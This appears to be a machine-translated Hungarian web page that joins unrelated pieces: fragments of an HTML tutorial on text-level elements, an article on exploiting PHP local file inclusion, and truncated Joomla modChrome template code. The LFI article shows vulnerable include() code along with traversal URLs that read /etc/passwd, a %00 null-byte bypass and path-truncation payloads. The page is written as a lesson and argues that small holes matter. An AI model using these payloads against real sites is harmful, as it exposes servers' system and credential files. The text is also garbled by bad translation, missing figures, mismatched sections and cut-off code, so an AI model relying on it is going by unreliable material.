Az em elem egy aláhúzott ékezetes szövegrészletet jelöl. Segítségével felhívhatja az olvasó figyelmét egy mondat vagy bekezdés jelentésére. Elmondom mit jelent az em elemet leíró , után.
8-6. táblázat: em elem
8-3. ábra: Az em elem használata
Ebben a példában a hangsúlyt az I-re (I) helyezem a mondat elején. Az em elemre gondolva, amikor hangosan mondunk ki egy mondatot, úgy gondoljuk, hogy a mondat válasz egy kérdésre. Képzeld el például, hogy megkérdeztem: "Ki szereti az almát és a narancsot?" A válaszod a következő lesz: "Szeretem az almát és a narancsot." (Amikor ezt hangosan kimondod, és az I-re helyezed a hangsúlyt, világossá teszed, hogy te olyan ember vagy, aki szereti ezeket a gyümölcsöket).
De ha megkérdezném: "Szereted az almát és mi mást?" Válaszolhatna: "Szeretem az almát és a narancsot." Ebben az esetben a hangsúly az utolsó szón lesz, hangsúlyozva, hogy a narancs egy másik gyümölcs, amelyet élvezel. Ez a HTML verzió így nézne ki:
Szeretem az almát és narancs .
Az i elem olyan szövegrészt jelöl, amely más jellegű, mint a környező tartalom. Ez egy meglehetősen homályos meghatározás, de a gyakori példák közé tartoznak más nyelvekből származó szavak, műszaki vagy tudományos kifejezések, sőt emberi gondolatok is (a beszéddel ellentétben). Az i elemben van leírva.
8-7. táblázat: i. elem
8-5. ábra: Az s elem használatával
Az erős elem egy fontos szövegrészt jelöl. Ezt az elemet a.
8-9. táblázat: erős elem
8-7. ábra: Az u elem használata
A kis elem az apró betűs betűket jelöli, és gyakran használják felelősségkizárásokra és pontosításokra. A kis elemet a -ban ábrázoljuk.
8-11. táblázat: kis elem
8-8. ábra: A kis elem használata
Az al- és a sup elemeket használhatja a felső és alsó index jelzésére. Felső indexek egyes nyelveken szavak írására használják, és egyszerű matematikai kifejezésekben mind a felső, mind az alsó indexet használják. Ezeket az elemeket mutatjuk be.
8-12. táblázat: sub és sup elemek
8-9. ábra: Sub és sup elemek használata
Van egy gyakori sebezhetőség a PHP-befogadási osztályban. De akinél az auditot végeztem, azt mondta, hogy ezt a sérülékenységet nem lehet kihasználni, így nem számít. vitatkoznom kellett vele.
Végezzünk egy kis oktatási programot erről a sebezhetőségről. A PHP-include egy biztonsági rés, amely lehetővé teszi egy tetszőleges fájl „befoglalását”, például ezt a kódot:
$module=$_REQUEST["modul"]; include("modules/".$modul);
És mivel általában nincsenek php címkék az "/etc/passwd" fájlban (), akkor megjelenik a böngészőben, ahogy a html kód kívül is megjelenne php címkék a szokásosban php szkript. Természetesen a fájlok olvasása csak az egyik lehetséges megvalósítása ennek a támadásnak. A lényeg továbbra is az, hogy a szükséges fájlokat tartalmazza a szükséges php kóddal.
Térjünk vissza a példához. Bonyolítsuk le:
$module=$_REQUEST["modul"]; include("modules/".$modul."/module.class.php");
$module = $_REQUEST [ "modul" ] ; include ("modules/" . $module . "/module.class.php" ) ; |
Amint látja, most egy sor kerül a változónk végére, ami megakadályozza, hogy bármilyen fájlt is belefoglaljunk. Sok php függvények nem binárisan biztonságosak, azaz az ilyen függvények a NULL-byte-ot tekintik a karakterlánc végének. A forgatókönyvre így hivatkozunk:
script.php?module=../../../../../../../../../../../etc/passwd%00
És ha a magic_quotes direktíva le van tiltva, akkor ismét látni fogjuk az /etc/passwd tartalmát
Térjünk vissza a kódunkhoz:
$module=addslashes($_REQUEST["modul"]); include("modules/".$modul."/module.class.php");
$module = addslashes ($_REQUEST [ "modul" ] ) ; include ("modules/" . $module . "/module.class.php" ) ; |
Amint látja, a változónkat erőszakosan átadjuk "addslash"-en, és ha NULL bájtot próbálunk használni, akkor az "\0"-ra konvertálódik, és az include nem fog működni.
De a fejlődés nem áll meg! Kiderült, hogy néhány USH-s srác egy érdekes funkciót talált a PHP PHP fájlrendszer támadási vektoraiban. Röviden, a cikk lényegének újramondása érdekében a php számos funkció segítségével feldolgozza az elérési utat:
Nos, sorrendben, mi történik az áthaladt útvonallal:
Most próbáljuk meg ezt használni. Próbáljunk meg beletenni néhány "test.php" fájlt, amely a "modules/" könyvtárban található. Ehhez adja hozzá a „/.” karaktert a karakter végéhez. így a teljes hossznak a fájlnévvel és az include_path értékével együtt többnek kell lennie 4096 karakternél.
script.php?module=test.php/././.[...]/././.
Ebben az esetben úgy kell kitalálnia, hogy a teljes útvonallánc (már levágva) ponttal végződjön (fontos!), És ne perjellel. Ehhez hozzáadhat egy perjelet:
És ezek közül az opciók egyike biztosan működni fog.
Sorban megnézzük, hogy milyen átalakulások fognak bekövetkezni az útvonalon
modules/test.php//././.[...]/./././module.class.php
4200 karakter
Az első dolog, ami a karakterlánccal történik, az az, hogy az include_path értéke hozzáadódik hozzá:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 karakter
A karakterlánc ezután MAXPATHLEN-re csonkolódik (tegyük fel, hogy 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 karakter
Itt láthatod, hogy miért volt szükség még egy perjelre (különben a karakterlánc perjelre lesz vágva). Most ez a sor normalizálva van, először eltávolítják a felesleges perjeleket:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 karakter
Ennek eredményeként megkapjuk a szükséges fájl helyes elérési útját, és ez az elérési út már átkerül az include-ba, és a szükséges fájl kerül bele.
Vagyis így fogjuk sikeresen beépíteni a "test.php" fájlunkat.
script.php?module=test.php//././.[...]/././.
Ez azt jelenti, hogy van egy sebezhetőség, és nem egy elméleti. Ennek eredményeként az ügyfelem elveszített egy fogadást, és megnyertem a vitát, és 10 rubelt fogadtunk, amire fogadtunk. Természetesen 10 rubel mellett bizalmat és tiszteletet is nyertem az ügyfél szemében, ami szintén fontos.
Itt megnézem a sérülékenység kihasználásának néhány érdekes jellemzőjét.
Fontolja meg ezt a kódot:
) ;
Hagyjuk ki azt a pontot, hogy használhatja az RFI-t, és tartalmazhat egy fájlt egy távoli szerverről. Tegyük fel, hogy „allow_url_include=OFF” a szerveren.
Tekintsük azt a helyzetet, amikor egy fájlt kell beillesztenünk az alábbi könyvtárból:
script.php?module=../test.php/././.[...]/././.
Egy ilyen hívás hibát jelez, például a fájl nem található. És ahhoz, hogy ezt megkerüljük, a következőképpen kell fordulnunk:
script.php?module=blabla/../../test.php/././.[...]/././.
Nem hiába írtam le az utak kanonizálásáról. Ennek köszönhetően a "blabla" könyvtárnak nem kell léteznie.
Valószínűleg egy figyelmes olvasónak feltűnt, hogy a normalizálás leírásában azt írtam, hogy az extra perjeleket „/” és a „/.” perjelű pontokat eltávolítják, szóval miért nem használunk perjeleket, hogy elkerüljük a felesleges baromságokat egy ponttal. vége.
Az egész az algoritmusokról szól, vagyis egy perjelről egy ponttal "/". teljesen eltávolítják. De az egyszerű perjelekkel kicsit bonyolultabb a helyzet, a normalizálás során minden két perjelet cserélünk eggyel, amíg egy (!) perjel marad, példa:
/home/site/public_html/modules/test.php///////////////////
57 karakter
↓
/home/site/public_html/modules/test.php/////////
48 karakter
↓
/home/site/public_html/modules/test.php/////
44 karakter
↓
/home/site/public_html/modules/test.php///
42 karakter
↓
/home/site/public_html/modules/test.php//
41 karakter
↓
/home/site/public_html/modules/test.php/
40 karakter
Sőt, ha sok népszerű hackforrásra figyel, észreveheti ezt a hibát. Ha jól értem, ez a hiba egy bizonyos Raz0r cikkével kezdődött, ahol vektort javasolt:
index.php?act=../../../../../etc/passwd/////[…]/////
És még a magazinra is figyeljen ][aker cikkében megismételte ezt a hibát. Ugyanakkor még az eredeti USH cikkben is egyértelműen le volt írva, hogy a perjelek használata nem kívánatos, és szükséges, hogy a végén, a normalizálás előtt, legyen egy pont karakter. És a perjelek (akár pont nélkül is a végén) csak PHP-ben működnek Suhosinnal.
Vagyis használjon perjelet egy ponttal "/." - univerzálisabb módszer, mivel a „/” perjelekkel ellentétben a php minden verziójához működik.
Remélem, ez a cikk segít megérteni, hogy a legapróbb sebezhetőségeket sem szabad hagyni a szkriptekben, mivel előbb-utóbb kifejlesztheti saját támadási vektorát, ami súlyos következményekkel járhat.
A Chrome a modul html-kódjának végső feldolgozása, mielőtt beilleszti a fő webhelysablonba. Számos előre definiált Chrome-stílus létezik (tábla, horz, xhtml, kerekített, vázlat), de nem mindig az aktuális feladatok megoldására alkalmas az, ami elérhető.
A saját megjelenítési stílus meghatározásához egy sablonban létre kell hoznia egy "modules.php" fájlt a "html" könyvtárban. Vagyis egy "saját_sablon" nevű sablon esetén a fájlnak itt kell lennie - "templates/my_template/html/modules.php".
Ebben a fájlban meg kell határoznia a "modChrome_STYLE" nevű függvényt, ahol a STYLE a stílus neve. Ez a függvény három argumentumot vesz fel: $module, &$params és &$attribs, az alábbiak szerint:
függvény modChrome_STYLE ($module, &$params, &$attribs) ( /* folyamat és megjelenítési modul html kódja */ )
Ebben a funkcióban bármilyen PHP kódot használhat, valamint magának a modulnak az összes paramétere, tulajdonságai és a Joomla adatbázisban tárolt adatok elérhetőek lesznek. Alapvetően csak a következőkre van szüksége
A modChrome_STYLE függvény egy közönséges php függvény, itt abszolút bármilyen php kódot használhat. Az alábbiakban egy példa látható, ha a modul beállításainál engedélyezve van a cím megjelenítése, akkor a cím szövege a modul tartalma előtt jelenik meg.
függvény modChrome_STYLE ($module, &$params, &$attribs) ( if ($module->showtitle) ( echo "
Bármilyen modul paraméter elérése lehetséges. Például keretezzük a modult az osztállyal
Saját attribútumokat is hozzáadhat a pozíciókódhoz, amelyeket a Chrome használ. Ehhez a pozíciócímkében
függvény modChrome_custom($modul, $params, $attribs) ( if (isset($attribs["headerLevel"])) ( $headerLevel = $attribs["headerLevel"]; ) else ( $headerLevel = 3; ) if (isset ($attribs["háttér"])) ( $háttér = $attribs["háttér"]; ) else ( $background = "kék"; ) echo "
Röviden érintettük a tartalom sablontörzsben való megjelenítésének módszereit. Most nézzük meg közelebbről, hogy mi ez, és mivel eszik. Tehát a metódus deklarációk A jdoc minden Joomla sablonban megtalálható és jelenítse meg ezt vagy azt az információt a sablon törzsében (vagyis a webhely oldalán). Általában a metódus deklarációja így néz ki
Ez a sor a webhely összetevőiből származó információkat jeleníti meg, például a com_content cikkeit. A kimeneti elemek típusa az attribútumban van megadva.
1. típus - kimeneti elemek típusai.
Az első négy megadott típust elég csak feltüntetni az oldalon. A modul típus esetén a feladat kissé bonyolultabbá válik. Ahhoz, hogy egy modult megjeleníthessünk az oldalon, először létre kell hoznunk azt moduláris pozíció egyedi azonosítóval (modulpozíciónévvel). Ez a name="position name" attribútum használatával és a sor kötelező kiegészítésével történik:
2. stílus - a kimeneti stílus leírása (mod chrome).
A modulhéj megjelenése és szerkezete a megadott stílustól függ. Úgy néz ki, mint a
:
cím; ?> |
---|
tartalom; ?> |
Minden előre beállított stílus a templates/system/html/modules.php fájlban található. De nem korlátozzuk csak a rendelkezésre álló lehetőségeket, hanem könnyedén létrehozhatjuk sajátunkat.
3. Egyéni módú króm létrehozása.
Tehát a modulok alapértelmezett megjelenítési típusai nem felelnek meg a jelenlegi követelményeknek. Hozzá kell adnia saját stílusát. Példaként vegyünk egy meglehetősen gyakran ismétlődő helyzetet. A megbízás szerint ahelyett
függvény modChrome_modbox($module, &$params, &$attribs) // A függvény meghívása
{
if (!üres ($modul->content)) : /* Ellenőrizze, hogy a pozíció tartalmaz-e engedélyezett modult */?>